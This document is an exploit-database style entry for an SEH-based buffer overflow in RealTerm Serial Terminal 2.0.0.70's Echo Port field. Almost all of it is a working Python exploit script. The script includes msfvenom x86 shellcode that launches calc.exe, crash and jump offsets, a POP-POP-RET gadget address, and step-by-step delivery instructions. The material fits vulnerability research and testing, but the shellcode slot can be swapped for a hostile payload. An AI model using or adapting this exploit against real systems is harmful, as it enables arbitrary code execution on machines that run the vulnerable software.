RealTerm Serial Terminal version 2.0.0.70 suffers from an echo port buffer overflow vulnerability. Modifications to the original proof of concept include the fact that it uses a larger payload size for shellcode due to different jump offsets and filters the bad character 0x3a as this is the character for port which causes an error ":".
9b31bdb38b680b223198f700a17dcfa6
#!/usr/bin/python
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)
# Version: 2.0.0.70
# Credits to: Alejandra Sanchez for finding initial DoS
# https://www.exploit-db.com/exploits/46391
# Matteo Malvica for creating initial PoC
# https://www.exploit-db.com/exploits/46441
# Differences: - Uses a larger space for shellcode, 260 bytes, due to more precise jumping and less NOP padding
# - Filtered on char 0x3a representing ":", which causes "Invalid port" error in program
# Date: 06-03-2019
# Author: Hodorsec ([email protected] / [email protected])
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Tested on: Win7 x86 SP1 build 7601, Win8 6.3 build 9600
# Caveats: SEHOP disabled in registry, although this is also true for PoC EDB-ID 46441 since the PoC wouldn't work otherwise
# 1.- Run the python script it will create a new file as indicated by "filename" variable
# 2.- Copy the content of the created file to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On'
# 8.- Result
import sys, struct
filename = "sploit_realterm_custom-calc_x86.txt"
# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -a x86 --platform windows -v shellcode -f python -b "\x0a\x0d\x00\x3a\x20"
# Payload size: 220 bytes
shellcode = ""
shellcode += "\xbf\x83\xe7\x1e\x48\xd9\xec\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x31\x31\x78\x13\x03\x78\x13\x83\xc0"
shellcode += "\x87\x05\xeb\xb4\x6f\x4b\x14\x45\x6f\x2c\x9c\xa0"
shellcode += "\x5e\x6c\xfa\xa1\xf0\x5c\x88\xe4\xfc\x17\xdc\x1c"
shellcode += "\x77\x55\xc9\x13\x30\xd0\x2f\x1d\xc1\x49\x13\x3c"
shellcode += "\x41\x90\x40\x9e\x78\x5b\x95\xdf\xbd\x86\x54\x8d"
shellcode += "\x16\xcc\xcb\x22\x13\x98\xd7\xc9\x6f\x0c\x50\x2d"
shellcode += "\x27\x2f\x71\xe0\x3c\x76\x51\x02\x91\x02\xd8\x1c"
shellcode += "\xf6\x2f\x92\x97\xcc\xc4\x25\x7e\x1d\x24\x89\xbf"
shellcode += "\x92\xd7\xd3\xf8\x14\x08\xa6\xf0\x67\xb5\xb1\xc6"
shellcode += "\x1a\x61\x37\xdd\xbc\xe2\xef\x39\x3d\x26\x69\xc9"
shellcode += "\x31\x83\xfd\x95\x55\x12\xd1\xad\x61\x9f\xd4\x61"
shellcode += "\xe0\xdb\xf2\xa5\xa9\xb8\x9b\xfc\x17\x6e\xa3\x1f"
shellcode += "\xf8\xcf\x01\x6b\x14\x1b\x38\x36\x72\xda\xce\x4c"
shellcode += "\x30\xdc\xd0\x4e\x64\xb5\xe1\xc5\xeb\xc2\xfd\x0f"
shellcode += "\x48\x3c\xb4\x12\xf8\xd5\x11\xc7\xb9\xbb\xa1\x3d"
shellcode += "\xfd\xc5\x21\xb4\x7d\x32\x39\xbd\x78\x7e\xfd\x2d"
shellcode += "\xf0\xef\x68\x52\xa7\x10\xb9\x31\x26\x83\x21\x98"
shellcode += "\xcd\x23\xc3\xe4"
# Maximum length
maxlen = 1000
# Crash offsets
crash_nseh = 268
crash_seh = crash_nseh + 4
# JMP offset
ret_jmp = 262
# Padding
pad = "\x90" * 2
# Variables
prefix = pad # Initial padding
prefix += shellcode # Custom shellcode, max size 260 bytes
prefix += "B" * (ret_jmp - len(prefix)) # Filler until return point of negative jump
prefix += "\xE9\xF7\xFE\xFF\xFF" # JMP 0xFFFFFEFC # Jmp to beginning of buffer
prefix += "C" * (crash_nseh - len(prefix)) # Filler until return point of NSEH negative jump
nseh = "\xeb\xf8\x90\x90" # JMP SHORT 0x8 # NOP # NOP
seh = struct.pack("<L", 0x00406e27) # pop ecx # pop ebp # ret 0x04 # realterm.exe
suffix = "D" * (maxlen - len(prefix + nseh + seh)) # Just filling
# Constructing payload
payload = prefix + nseh + seh + suffix
f = open(filename, 'wb')
f.write(payload)
f.close()